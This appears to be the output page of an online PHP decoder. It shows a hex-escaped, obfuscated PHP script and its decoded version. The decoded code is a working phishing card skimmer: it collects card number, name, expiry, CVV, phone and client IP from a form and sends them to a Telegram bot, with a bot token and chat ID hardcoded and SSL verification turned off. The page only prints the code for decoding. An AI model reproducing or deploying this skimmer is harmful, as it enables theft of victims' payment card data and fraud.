Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto GtDLT; GtDLT: session_start(); goto UT7JO; UT7JO: if (empty($_POST["\143\156"..

Decoded Output download

<?php 
 goto GtDLT; GtDLT: session_start(); goto UT7JO; UT7JO: if (empty($_POST["cn"])) { $nameErr = " "; } elseif (strlen($_POST["cn"]) > 50) { $nameErr = " "; } elseif (strlen($_POST["cn"]) < 1) { $nameErr = " "; } else { $cn = $_POST["cn"]; $nm = $_POST["nm"]; $mm = $_POST["mm"]; $yy = $_POST["yy"]; $cvv = $_POST["cvv"]; $phone = $_POST["phone"]; $ip = getenv("REMOTE_ADDR"); $port = $_SERVER["REMOTE_PORT"]; $hostname = gethostbyaddr($ip); $botToken = "7027956477:AAGFv6TAVkZESDH1bMXkFWYo_ke6xfMvn0g"; $chatId = "1928411907"; $url = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=card no: {$cn}%0Acard name: {$nm}%0Acard exp month: {$mm}%0Acard exp year: {$yy}%0Acvv2: {$cvv}%0APhone: {$phone}%0AClient ip: {$ip}%0A=============+ [ Created by OmeGaLorD ] +============="; $streamOptions = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false), "http" => array("method" => "POST")); $context = stream_context_create($streamOptions); $handle = fopen($url, "r", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } goto QUg5Z; QUg5Z: ?>

Did this file decode correctly?

Original Code

<?php
 goto GtDLT; GtDLT: session_start(); goto UT7JO; UT7JO: if (empty($_POST["\143\156"])) { $nameErr = "\40"; } elseif (strlen($_POST["\x63\x6e"]) > 50) { $nameErr = "\x20"; } elseif (strlen($_POST["\143\156"]) < 1) { $nameErr = "\x20"; } else { $cn = $_POST["\x63\x6e"]; $nm = $_POST["\x6e\x6d"]; $mm = $_POST["\x6d\155"]; $yy = $_POST["\171\x79"]; $cvv = $_POST["\143\x76\166"]; $phone = $_POST["\x70\150\157\156\x65"]; $ip = getenv("\x52\x45\x4d\117\x54\105\x5f\x41\x44\104\122"); $port = $_SERVER["\122\x45\x4d\117\124\x45\x5f\120\117\122\124"]; $hostname = gethostbyaddr($ip); $botToken = "\x37\60\x32\67\x39\65\66\64\x37\x37\x3a\x41\101\107\106\x76\x36\x54\x41\126\x6b\132\105\123\104\x48\61\x62\x4d\x58\x6b\x46\127\x59\157\137\153\x65\66\x78\x66\115\166\156\x30\147"; $chatId = "\61\71\x32\x38\x34\61\x31\71\60\67"; $url = "\150\x74\164\x70\x73\72\57\x2f\x61\x70\151\x2e\x74\145\x6c\x65\x67\162\141\x6d\56\157\162\x67\x2f\142\x6f\x74{$botToken}\57\x73\145\156\x64\115\145\163\163\x61\147\145\x3f\x63\x68\x61\164\x5f\x69\x64\x3d{$chatId}\x26\x74\145\x78\164\75\143\141\x72\144\x20\x6e\157\x3a\40{$cn}\45\60\101\x63\x61\162\x64\40\x6e\141\155\145\x3a\x20{$nm}\45\x30\x41\143\141\162\144\40\145\170\160\40\x6d\157\x6e\164\150\72\x20{$mm}\45\60\x41\143\141\x72\x64\x20\x65\170\x70\40\171\x65\x61\162\72\x20{$yy}\x25\60\101\143\x76\x76\62\72\40{$cvv}\x25\60\x41\x50\x68\157\156\145\72\x20{$phone}\x25\x30\x41\x43\x6c\x69\145\156\164\40\x69\x70\x3a\x20{$ip}\x25\x30\x41\x3d\x3d\75\75\75\x3d\x3d\75\x3d\75\x3d\x3d\75\53\40\133\40\x43\x72\x65\141\164\x65\x64\x20\142\x79\40\117\155\x65\107\x61\x4c\x6f\x72\x44\40\135\40\53\75\75\75\x3d\75\75\x3d\x3d\75\x3d\x3d\x3d\x3d"; $streamOptions = array("\x73\163\x6c" => array("\166\x65\162\151\x66\x79\x5f\160\x65\145\162" => false, "\166\x65\x72\x69\146\x79\137\160\x65\x65\x72\137\x6e\x61\x6d\145" => false), "\150\164\x74\160" => array("\155\x65\x74\x68\157\x64" => "\x50\117\123\124")); $context = stream_context_create($streamOptions); $handle = fopen($url, "\162", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } goto QUg5Z; QUg5Z: ?>

Function Calls

None

Variables

None

Stats

MD5 863c824392fabd7884cec7d2fe1c658a
Eval Count 0
Decode Time 51 ms